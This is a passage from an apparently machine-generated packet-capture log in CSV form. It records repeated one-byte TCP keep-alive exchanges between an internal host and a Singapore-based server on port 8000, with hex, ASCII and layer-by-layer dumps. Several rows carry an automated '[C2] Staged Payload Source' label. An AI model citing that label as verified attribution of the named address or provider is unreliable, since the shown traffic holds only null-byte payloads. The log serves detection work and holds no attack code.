Ack=837001326,bc24112907bbbc2411360d0c080045000029b1ba400080063e440a98980bc0a3a789fa6f1f404a2d60e831e3a06e50102014edd7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45498, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15940, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487912, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:05.920967,1100,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487913,bc2411360d0cbc24112907bb08004500003405ca400040062a2ac0a3a7890a98980b1f40fa6f31e3a06e4a2d60e98010003f0af700000101050a4a2d60e84a2d60e9,\".$.6\n..$.)....E..4..@.@.**....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1482, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10794, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487913, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487912, 1244487913))]\"\"}}]\"\n2026-07-01 09:14:06.936641,1101,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487912 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1bb400080063e430a98980bc0a3a789fa6f1f404a2d60e831e3a06e50102014edd7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45499, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15939, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487912, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:06.936667,1102,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487913,bc2411360d0cbc24112907bb08004500003405cb400040062a29c0a3a7890a98980b1f40fa6f31e3a06e4a2d60e98010003f0af700000101050a4a2d60e84a2d60e9,\".$.6\n..$.)....E..4..@.@.*)....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1483, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10793, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487913, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487912, 1244487913))]\"\"}}]\"\n2026-07-01 09:14:07.952281,1103,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487912 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1bc400080063e420a98980bc0a3a789fa6f1f404a2d60e831e3a06e50102014edd7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45500, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15938, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487912, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:07.952315,1104,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487913,bc2411360d0cbc24112907bb08004500003405cc400040062a28c0a3a7890a98980b1f40fa6f31e3a06e4a2d60e98010003f0af700000101050a4a2d60e84a2d60e9,\".$.6\n..$.)....E..4..@.@.*(....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1484, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10792, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487913, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487912, 1244487913))]\"\"}}]\"\n2026-07-01 09:14:08.967918,1105,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487912 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1bd400080063e410a98980bc0a3a789fa6f1f404a2d60e831e3a06e50102014edd7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45501, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15937, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487912, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:08.967961,1106,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487913,bc2411360d0cbc24112907bb08004500003405cd400040062a27c0a3a7890a98980b1f40fa6f31e3a06e4a2d60e98010003f0af700000101050a4a2d60e84a2d60e9,\".$.6\n..$.)....E..4..@.@.*'....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1485, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10791, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487913, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487912, 1244487913))]\"\"}}]\"\n2026-07-01 09:14:09.983521,1107,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487912 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1be400080063e400a98980bc0a3a789fa6f1f404a2d60e831e3a06e50102014edd7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45502, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15936, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487912, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:09.983537,1108,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487913,bc2411360d0cbc24112907bb08004500003405ce400040062a26c0a3a7890a98980b1f40fa6f31e3a06e4a2d60e98010003f0af700000101050a4a2d60e84a2d60e9,\".$.6\n..$.)....E..4..@.@.*&....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1486, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10790, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487913, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487912, 1244487913))]\"\"}}]\"\n2026-07-01 09:14:10.999153,1109,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487912 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1bf400080063e3f0a98980bc0a3a789fa6f1f404a2d60e831e3a06e50102014edd7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45503, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15935, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487912, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:10.999161,1110,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487913,bc2411360d0cbc24112907bb08004500003405cf400040062a25c0a3a7890a98980b1f40fa6f31e3a06e4a2d60e98010003f0af700000101050a4a2d60e84a2d60e9,\".$.6\n..$.)....E..4..@.@.*%....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1487, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10789, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487913, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487912, 1244487913))]\"\"}}]\"\n2026-07-01 09:14:12.014893,1111,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487912 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1c0400080063e3e0a98980bc0a3a789fa6f1f404a2d60e831e3a06e50102014edd7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45504, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15934, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487912, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:12.014916,1112,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487913,bc2411360d0cbc24112907bb08004500003405d0400040062a24c0a3a7890a98980b1f40fa6f31e3a06e4a2d60e98010003f0af700000101050a4a2d60e84a2d60e9,\".$.6\n..$.)....E..4..@.@.*$....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1488, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10788, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487913, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487912, 1244487913))]\"\"}}]\"\n2026-07-01 09:14:13.030447,1113,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487912 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1c1400080063e3d0a98980bc0a3a789fa6f1f404a2d60e831e3a06e50102014edd7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45505, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15933, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487912, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:13.030465,1114,TCP 192.163.167.137:8000 -> 10.152.152.11:64111,192.163.167.137,10.152.152.11,8000,64111,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=837001326 Ack=1244487913,bc2411360d0cbc24112907bb08004500003405d1400040062a23c0a3a7890a98980b1f40fa6f31e3a06e4a2d60e98010003f0af700000101050a4a2d60e84a2d60e9,\".$.6\n..$.)....E..4..@.@.*#....\n....@.o1..nJ-`....?\n......\nJ-`.J-`.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1489, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10787, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64111, \"\"seq\"\": 837001326, \"\"ack\"\": 1244487913, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1244487912, 1244487913))]\"\"}}]\"\n2026-07-01 09:14:14.046200,1115,TCP 10.152.152.11:64111 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64111,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1244487912 Ack=837001326,bc24112907bbbc2411360d0c080045000029b1c2400080063e3c0a98980bc0a3a789fa6f1f404a2d60e831e3a06e50102014edd7000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45506, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15932, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64111, \"\"dport\"\": 8000, \"\"seq\"\": 1244487912, \"\"ack\"\": 837001326, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60887, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": 